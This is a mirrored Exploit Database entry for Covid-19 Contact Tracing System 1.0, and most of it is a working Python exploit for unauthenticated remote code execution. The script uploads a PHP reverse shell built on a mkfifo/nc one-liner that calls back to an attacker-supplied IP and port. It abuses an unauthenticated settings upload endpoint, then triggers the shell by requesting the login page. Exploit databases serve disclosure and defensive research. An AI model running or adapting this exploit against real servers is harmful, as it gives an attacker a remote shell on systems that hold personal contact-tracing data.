Covid-19 Contact Tracing System 1.0 – Remote Code Execution (Unauthenticated)

• Exploit Database
• 18 阅读

• 作者： Christian Vierschilling
  日期： 2021-03-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49604/

• # Exploit Title: Covid-19 Contact Tracing System 1.0 - Remote Code Execution (Unauthenticated)
  # Date: 28-02-2021
  # Exploit Author: Christian Vierschilling
  # Vendor Homepage: https://www.sourcecodester.com
  # Software Link: https://www.sourcecodester.com/php/14728/covid-19-contact-tracing-system-web-app-qr-code-scanning-using-php-source-code.html
  # Version: 1.0
  # Tested on: PHP 7.4.14, Linux x64_x86
  
  # --- Description --- #
  
  # The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
  
  # --- Proof of concept --- #
  
  #!/usr/bin/python3
  import random
  import sys
  import requests
  from requests_toolbelt.multipart.encoder import MultipartEncoder
  
  def file_upload(target_ip, attacker_ip, attacker_port):
  random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'name': 'PWNED', 'img': (random_file_name, revshell_string, 'application/x-php')})
  print("(+) Uploading php reverse shell..")
  r1 = requests.post('http://{}/cts_qr/classes/SystemSettings.php?f=update_settings'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  if r1.text == '1':
  print("(+) File upload seems to have been successful!")
  return None
  else:
  print("(-) Oh no, the file upload seems to have failed!")
  exit()
  
  def trigger_shell(target_ip):
  print("(+) Now trying to trigger our shell..")
  
  #The file we uploaded previously is expected to be an image that the web app tries to embed into the login page.
  #So by requesting the login page, our reverse shell php file will get triggered automatically. We dont even need to calculate the random bits of its new name.
  r2 = requests.get('http://{}/cts_qr/login.php'.format(target_ip))
  return None
  
  def main():
  if len(sys.argv) != 4:
  print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
  print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
  sys.exit(-1)
  
  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]
  
  file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip)
  print("\n(+) done!")
  
  if __name__ == "__main__":
  main()